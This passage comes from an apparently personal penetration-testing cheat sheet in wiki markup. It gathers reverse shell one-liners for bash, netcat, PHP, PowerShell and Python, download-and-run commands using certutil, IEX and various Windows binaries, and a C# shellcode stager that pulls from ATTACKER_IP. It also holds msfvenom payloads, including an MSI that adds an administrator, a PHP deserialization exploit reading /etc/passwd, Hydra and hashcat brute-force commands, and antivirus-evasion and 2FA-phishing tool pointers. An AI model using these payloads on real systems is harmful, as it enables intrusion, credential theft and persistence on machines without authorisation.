ffuf -X POST -H 'Content-Type: application/json' -d '{"user":"FUZZ", "url":"192.168.49.153/shell.elf"}' -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17

</syntaxhighlight>

=== wfuzz ===

----

== Password Cracking ==

=== Hashcat ===

Example commands

{| class="wikitable"
|-
! Attack-mode
! Hash-type
! Example command
|-
| Wordlist
| $P$
| hashcat -a 0 -m 400 example400.hash example.dict
|-
| Wordlist + Rules
| MD5
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
|-
| Brute-Force
| MD5
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
|-
| Combinator
| MD5
| hashcat -a 1 -m 0 example0.hash example.dict example.dict
|-
| Association
| $1$
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule
|}
https://hashcat.net/wiki/doku.php?id=hashcat

==== Mask attack ====

{| class="wikitable"
|-
| ?l =
| abcdefghijklmnopqrstuvwxyz
|-
| ?u
| ABCDEFGHIJKLMNOPQRSTUVWXYZ
|-
| ?d
| 0123456789
|-
| ?h
| 0123456789abcdef
|-
| ?H
| 0123456789ABCDEF
|-
| ?s
| «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
|-
| ?a
| ?l?u?d?s
|-
| ?b
| 0x00 - 0xff
|}
https://hashcat.net/wiki/doku.php?id=mask_attack

<syntaxhighlight lang="bash">
# Example command
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 "C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*" -r "rules\best64.rule"
# Restore session
hashcat.exe --session session1 --restore
# Show cracked hashes
hashcat.exe hash2.hc22000 -m 22000 --show
</syntaxhighlight>

=== Hydra ===

{| class="wikitable"
|-
| Command
| Description
|-
| hydra -P <wordlist> -v <ip> <protocol>
| Brute force against a protocol of your choice
|-
| hydra -v -V -u -L <username list> -P <password list> -t 1 -u <ip> <protocol>
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)
|-
| hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>
| Attack a Windows Remote Desktop with a password list.
|-
| hydra -l <username> -P .<password list> $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
| Craft a more specific request for Hydra to brute force.
|}
https://www.tryhackme.com/room/hackpark

=== John The Ripper ===

https://blog.aghanim.net/?p=1022

----

== PHP ==

=== shell_exec ===

<syntaxhighlight lang="php">
# If RFI dosent execute script, try this
# Create exploit.php
# cat exploit.php

# Execute
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php
</syntaxhighlight>

=== Deserialization attack ===

See notes for Deployer

<syntaxhighlight lang="bash">
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]
└─# cat 192.168.153.158/web/dev/index.php
file);
}
}
if (!isset($_POST['page'])){
if (strpos(urldecode($_GET['page']),'..')!==false){
include('/var/www/dev/lfi-prev.html');
}
else{
include('/var/www/dev/'.$_GET['page']);
}
}
else{
$f=$_POST['page'];
unserialize($f);
}
?>

# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. '->' is used in object scope to access methods and properties of an object.
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]
└─# cat real_exploit.php
file);
}
}
$f = new Page;
$f->file='/etc/passwd';
echo urlencode(serialize($f));
?>

# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]
└─# curl -XPOST -d 'page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D ' http://und3r_dev.deployer.off/index.php

</syntaxhighlight>

----

== Transfering files ==

=== A list of all commands ===

<syntaxhighlight lang="bash">
# CMD
# Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
# CertReq.exe
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
# Certutil.exe
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
# CrackMapExec
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
# Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
# Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
# Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
# Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
# Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
# Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
# GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
# Hh.exe
HH.exe http://some.url/script.ps1
# Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
# Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
# MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url -path //Windows Defender executable
# Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
# Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
# Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Squirrel.exe
squirrel.exe --download [url to package]
# Update.exe
Update.exe --download [url to package]
# Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Wsl.exe
wsl.exe --exec bash -c 'cat binary'
</syntaxhighlight>

<syntaxhighlight lang="bash">
# POWERSHELL
# System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
# Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
# Wget
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
# Base64 Kali & EncodedCommand
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand
</syntaxhighlight>

=== CrackMapExec ===

<syntaxhighlight lang="bash">
# Send a local file to the remote target
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Get a remote file on the remote target
crackmapexec smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
</syntaxhighlight>

=== Certutil ===

Easiest way to transfer to Windows

<syntaxhighlight lang="bash">
certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]
# Example - This will upload a shell to temp, and run execute it using cmd.exe
certutil -urlcache -split -f "http://192.168.49.233/shell.exe" C:\windows\temp\shell.exe && cmd.exe /c C:\windows\temp\shell.exe
</syntaxhighlight>

=== CMD ===

<syntaxhighlight lang="bash">
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe
</syntaxhighlight>

=== tfpt ===

<syntaxhighlight lang="bash">
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69
kali@kali:~$ sudo apt update && sudo apt install atftp
kali@kali:~$ sudo mkdir /tftp
kali@kali:~$ sudo chown nobody: /tftp
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp
# On target
tftp -i 10.11.0.4 put important.docx
</syntaxhighlight>

=== Encrypted python3 http.server ===

<syntaxhighlight lang="bash">
# Create self signed cert
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
</syntaxhighlight>

<syntaxhighlight lang="bash">
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
</syntaxhighlight>

=== Evil-winrm ===

<syntaxhighlight lang="bash">
# Upload file
upload shell.exe
# Download file
Download target.file
</syntaxhighlight>

=== Netcat ===

Must have nc.exe binary on the target machine.

<syntaxhighlight lang="bash">
# Attacking machine command
nc -lvnp 4444 > FiletoDownload
## Victim machine command
nc.exe 10.10.10.100 4444 -w 3 < Filetodownload
</syntaxhighlight>

=== Rejetto HFS - HTTP File Server (GUI based) ===

Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.

If you have RDP this tool works great.

[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]

[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]

=== Tiny Http Server - Rebex ===
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.

https://www.rebex.net/tiny-web-server/

==== Transfer from attacker to target ====

[[File:2023-01-image-2.png|thumb]]

Drag and drop files you want to transfer. Change port by clicking on 'Port:' or change IP by going to Menu and 'IP Adress'.

On target either open browser or wget, curl, etc

<syntaxhighlight lang="bash">
wget http://192.168.1.98:443/nmap.txt
</syntaxhighlight>

==== Transfer from target to attacker ====

[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]

<syntaxhighlight lang="bash">
# Step-by-step
## First, define a real folder. To do this:
# Add a folder.
## Choose real folder.
## You should now see a RED folder in your virtual file system, inside HFS.
## Right click on this folder.
## Set Upload → upload for accounts → anyone
## Now anyone who has access to your HFS server can upload files to you.
</syntaxhighlight>

[[File:2023-01-image-3.png|thumb]]

Anyone can upload

[[File:2023-01-image-4.png|thumb]]

[[File:2023-01-image-5.png|thumb]]

Click on on the folder 'Upload HFS'

[[File:2023-01-image-6.png|thumb]]

Now anyone can upload files

=== SCP ===

<syntaxhighlight lang="bash">
# From target to attacher
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .
# From attacker to target
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/
</syntaxhighlight>

=== SMBServer ===

Create a smbserver with share name "share", and location of folder to share

<syntaxhighlight lang="bash">
smbserver.py share /home/aghanim/Desktop/
## If target only supports smbserver2
smbserver.py share . -smb2support
## On target CMD
\\smbserver-ip\share\$FILE_NAME
## Copy file to target
copy \\smbserver-ip\share\$FILE_NAME .
## Copy file from target to attacker
copy FileToDownload \\smbserver-ip\share\FileToDownload
## SMBserver with username and password
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123
</syntaxhighlight>

=== Powershell ===

Must use single quote for URL. Worsk for Windows 7 & 2008 and above.

<syntaxhighlight lang="powershell">
powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file', 'output-file')
</syntaxhighlight>

=== Powercat ===

<syntaxhighlight lang="bash">
# Attacker
sudo nc -lnvp 443 > receiving_powercat.ps1
# Target
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1
</syntaxhighlight>

==== Python ====

<syntaxhighlight lang="bash">
# Attacker
python3 -m http.server 8080
python2 -m SimpleHTTPServer 8080
# Target
wget http://ip:port/file
curl http://ip:port/file
</syntaxhighlight>

=== Windows upload using php and powershell ===

<syntaxhighlight lang="bash">
# On attacker, create a php upload script and host it on apache2 server

# On target, upload files using this command.
powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')
</syntaxhighlight>

----

== Shellcode and Staged payloads ==

=== csharp stager ===

<syntaxhighlight lang="csharp">
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
</syntaxhighlight>

=== Msfvenom Staged payload ===

<syntaxhighlight lang="bash">
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.
</syntaxhighlight>

----

== Bind shells ==

https://blog.aghanim.net/?p=1043

=== Powercat ===

<syntaxhighlight lang="bash">
powercat -l -p 443 -e cmd.exe
</syntaxhighlight>

----

== Reverse shells ==

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]

=== Reverse Shell Generator ===

[https://www.revshells.com/ https://www.revshells.com/]

=== hoaxshell ===

Currently undetected by Microsoft and most AV (12.10.2022)

<syntaxhighlight lang="bash">
# https://github.com/t3l3machus/hoaxshell
──(root💀kali)-[/opt/hoaxshell]
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444 1 ⨯
┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬ ┬
├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤ │ │
┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘
by t3l3machus
[Info] Generating reverse shell payload...
powershell -e JABzAD0AJwAxADkAMgAuADEANg....
[Info] Type "help" to get a list of the available prompt commands.
[Info] Http Server started on port 4444.
[Important] Awaiting payload execution to initiate shell session...
[Shell] Payload execution verified!
[Shell] Stabilizing command prompt...
PS C:\Users\AlaaG > whoami
laptop-\alaag
PS C:\Users\AlaaG > systeminfo
Host Name: LAPTOP-
OS Name: Microsoft Windows 11 Home
OS Version: 10.0.22000 N/A Build 22000
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
</syntaxhighlight>

=== ICMP Reverse Shell ===

<syntaxhighlight lang="bash">
# https://github.com/krabelize/icmpdoor
# https://cryptsus.com/blog/icmp-reverse-shell.html
## Python version usage (both Windows and Linux):
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)
## Binary Windows version usage version:
./icmp-cnc.exe -d VICTIM-IP (Command and Control)
./icmpdoor.exe -d CNC-IP (Implant)
## Binary Linux version usage version:
./icmp-cnc -d VICTIM-IP (Command and Control)
./icmpdoor -d CNC-IP (Implant)
</syntaxhighlight>

=== BASH TCP ===

<syntaxhighlight lang="bash">
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0/dev/tcp/10.0.0.1/4242; sh &196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0&1
## Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
</syntaxhighlight>

=== BASH UDP ===

<syntaxhighlight lang="bash">
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
</syntaxhighlight>

=== ngrok - Catcha reverse shell from the internet ===

[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]

<syntaxhighlight lang="bash">
# On attacker (term1)
ngrok tcp 4444
# On attacker (term2)
nc -lvp 4444
# On target, use your reverse shell payload on the ngrok tunnel target
nc 0.tcp.ngrok.io -e /bin/sh
-----
# Another method if there is a proxy and firewall.
# Setup free domain. (Custom domain is a paid feature)
https://dashboard.ngrok.com/cloud-edge/domains
ngrok http --domain=ngrok-provided-domain.ngrok-free.app
# On attacker
nc -lvnp
</syntaxhighlight>

=== Netcat Traditional ===

<syntaxhighlight lang="bash">
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
</syntaxhighlight>

=== Netcat BusyBox ===

<syntaxhighlight lang="bash">
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
</syntaxhighlight>

=== nc.exe ===

<syntaxhighlight lang="bash">
nc.exe -e cmd.exe attacker_ip attacker_port
</syntaxhighlight>

=== PHP ===

<syntaxhighlight lang="php">
php -r '$sock=fsockopen("10.10.14.17",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
# Base64 encoded webshell
""
"& /dev/tcp/192.168.49.129/80 0>&1'); ?>"
</syntaxhighlight>

=== Powershells ===

<syntaxhighlight lang="powershell">
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
</syntaxhighlight>

<syntaxhighlight lang="powershell">
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
</syntaxhighlight>

<syntaxhighlight lang="powershell">
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
</syntaxhighlight>

=== Powershell base64 encoded reverse shell payload ===

<syntaxhighlight lang="bash">
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1
</syntaxhighlight>

=== Powercat ===

<syntaxhighlight lang="bash">
powercat -c 10.11.0.4 -p 443 -e cmd.exe
</syntaxhighlight>

=== Python ===

<syntaxhighlight lang="python">
import os,pty,socket;s=socket.socket();s.connect(("192.168.49.169",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
</syntaxhighlight>

=== Stabilize shell (Interactive shell) ===

==== Linux ====

<syntaxhighlight lang="bash">
python -c 'import pty;pty.spawn(“/bin/bash”)'
export TERM=xterm
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.
https://blog.aghanim.net/?p=1043
</syntaxhighlight>

==== Windows ====

<syntaxhighlight lang="bash">
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1
# 1. Edit Nishang script and add
Invoke-PowerShellTcp -Reverse -IpAddress -Port
# 2. Start a new netcat listener
# 3. Start simple http.severe where the nishang script is
# 4. On target. (Make sure powershell is enabled and allowed to use)
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1')
</syntaxhighlight>

=== Fix TTY in reverse shell ===

<syntaxhighlight lang="bash">
# In our shell. Remember the rows anc cols
stty -a
# On victim shell
stty rows cols
</syntaxhighlight>

----

== PackMyPayload ==

[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag & demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]

Smuggle payloads using various file formats:

* <code>7zip</code>

* <code>zip</code>

* <code>ISO</code>

* <code>IMG</code>

<syntaxhighlight lang="bash">
# Pack a dir to .iso
PackMyPayload.py C:\my\dir malicious.iso -v
# Pack a malicious code to .vhd
PackMyPayload.py .\evil.lnk .\evil.vhd
</syntaxhighlight>

== Persistence ==

=== Windows ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]

=== Linux ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]

----

== Phishing ==

=== Bypass 2-Fa ===

[https://www.youtube.com/watch?v=FwGeBW6OurM&t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]

[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]

----

== Programming ==

=== Control flow - Logic Statement ===

{| class="wikitable"
|-
| Logic Statement
| Purpose
|-
| if/else
| Executes only if a condition is met, else it will execute a different code block
|-
| try/catch
| Will try to execute a code block and catch it if it fails to handle errors.
|-
| switch case
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default
|-
| for/while loop
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.
|}

----

== Privilege Escalation ==

=== Windows ===

==== Admin Account Credentials ====

[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]

<syntaxhighlight lang="bash">
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas
runas /profile /user:Administrator "nc.exe -e cmd 192.168.49.169 443"
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Another method is if the shell is non-interactive is to use a powershell script.
# Save this on your Kali and start a HTTP.server.
$password = ConvertTo-SecureString "lab" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("Administrator", $password)
Start-Process -Credential $credential -FilePath "C:\Users\Offsec\Desktop\ProcessHollow.exe"
# Now on the shell you have, run this command.
iex(new-object net.webclient).downloadstring('http://192.168.45.198/test.ps1')
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Another method again is to RDP to the target if possible and Run As.
</syntaxhighlight>

==== AlwaysInstallElevated ====

If these two registers are enabled then users of any privilege can install '''.msi '''files as NT AUTHORITY\SYSTEM

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
# If 0x1 then its enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Msfvenom payload
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
# The above is better for persistence
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi > rev_shell.msi # Recommeded if not AD.
# Execute
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

----------------
# The above command will probably be detected by AV. You can compile your own .msi.
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated
PS C:\WiX Toolset v3.11\bin> .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)
-------------------------------------------
# You can also use MSI Wrapper.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper
------------------------------------------
# There is also a metasploit module, but it needs a bit tweaking
exploit/windows/local/always_install_elevated
# In the multi handler do the following
set DisablePayloadHandler true - # Disable built-in listener
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload
run -j -z - # Background listener
msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated
msf6 exploit(windows/local/always_install_elevated) > set VERBOSE true
msf6 exploit(windows/local/always_install_elevated) > set payload windows/exec
msf6 exploit(windows/local/always_install_elevated) > set session 1
# The encoded powershell command do 'whoami > C:\whoami.txt' to verify that it works
msf6 exploit(windows/local/always_install_elevated) > set cmd 'powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA='
msf6 exploit(windows/local/always_install_elevated) > run
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run
msf6 exploit(windows/local/always_install_elevated) > set cmd 'C:\proc_hol.exe'
msf6 exploit(windows/local/always_install_elevated) > run
# You should get a callback to your meterpreter listener.
</syntaxhighlight>

[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]

==== BarracudaDrive 6.5 ====

<syntaxhighlight lang="bash">
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html
</syntaxhighlight>

==== Bypass UAC ====

[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]

<syntaxhighlight lang="bash">
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy Level shell, we might bypass uac.
# Notice the last line, "Mandatory Label\Medium Mandatory Level"
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

# Next check if UAC is enabled
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
# We then have to find a binary that have "autoElevate" set to true.
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate
true
# Then we have to generate a payload using msfvenom.
